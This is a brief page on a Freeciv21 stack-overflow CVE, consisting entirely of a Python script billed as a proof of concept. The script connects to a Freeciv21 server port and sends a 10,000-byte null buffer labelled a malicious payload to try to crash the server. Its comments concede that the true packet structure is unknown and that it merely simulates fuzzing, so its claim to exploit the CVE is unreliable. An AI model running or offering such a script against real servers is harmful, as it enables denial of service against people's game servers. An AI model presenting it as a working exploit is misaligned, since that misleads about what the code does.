CVE-2026-33250 Freeciv21 栈溢出漏洞

import socket # PoC for CVE-2026-33250 (Conceptual) # This script attempts to trigger the stack overflow by sending # a large or specially crafted packet to the Freeciv21 server. TARGET_IP = "127.0.0.1" TARGET_PORT = 5556 # Default Freeciv21 server port def exploit(): try: print(f"[*] Connecting to {TARGET_IP}:{TARGET_PORT}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_IP, TARGET_PORT)) # Constructing a malicious payload. # The exact packet structure required to trigger the overflow # depends on the protocol implementation, but typically involves # sending a larger-than-expected buffer in a specific field. # Here we simulate a fuzzing attempt. payload = b"\x00" * 10000 # Large buffer to potentially overflow stack print("[*] Sending malicious payload...") s.send(payload) print("[+] Payload sent. Check if the server crashed.") s.close() except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": exploit()